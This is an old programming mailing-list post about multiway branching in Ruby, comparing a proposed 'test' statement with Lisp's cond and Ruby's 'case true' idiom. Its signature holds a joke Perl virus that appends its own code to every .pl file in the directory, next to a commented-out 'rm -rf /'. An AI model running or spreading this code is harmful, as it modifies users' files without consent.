From: Rudolf Polzer Date: 2002-12-09T00:34:23+09:00 Subject: Re: elseif? Scripsit ille aut illa Hal E. Fulton : > Actually, what I've always wished for is a multiway Boolean > branch that was *obviously* such, not merely a special case > of 'if'. Why isn't case what you're looking for? See below. > In grad school I created a toy language that had a 'test' > statement. (I'm not advocating this for Ruby, BTW, though > I personally wouldn't mind seeing it.) > > It looked like a switch or case statement, but execution > simply jumped to the first non-false expression: > > test > expr1: stmt1 > expr2: stmt2 > ... > exprN: stmtN > end And what did it do when expr1 was true - was stmt2 executed after stmt1 (fall-through like in C) or not (like in Ruby)? If the latter, it has already existed in another language and looks like this: (cond ((expr1) (stmt1)) ((expr2) (stmt2)) ((expr3) (stmt3)) ... ((exprN) (stmtN)) ) I think it can be done in Ruby using a syntax like (-2..2).each() do |x| case true when x > 0 p [x, 1] when x < 0 p [x, -1] when x == 0 p [x, 0] else p [x, nil] end end But it requires the conditions to be "real" booleans, so here only 'true' is considered to be true and not, as usual, all non-false and non-nil values. Here a !! in front of the problematic conditions will help. You can see !! as a "convert-to-boolean-operator", even if syntactically it isn't. Ruby's case is more like Lisp's cond than like C's switch: the when expressions don't need to be constants. Perhaps 'cond' could be made nearly synonymous to 'case true' (except that when-arguments are evaluated as booleans and not compared using ===), but IMHO that's not needed since the existing case is normally enough. Perhaps the 'case true' hack could be made more public? -- #!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf / eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################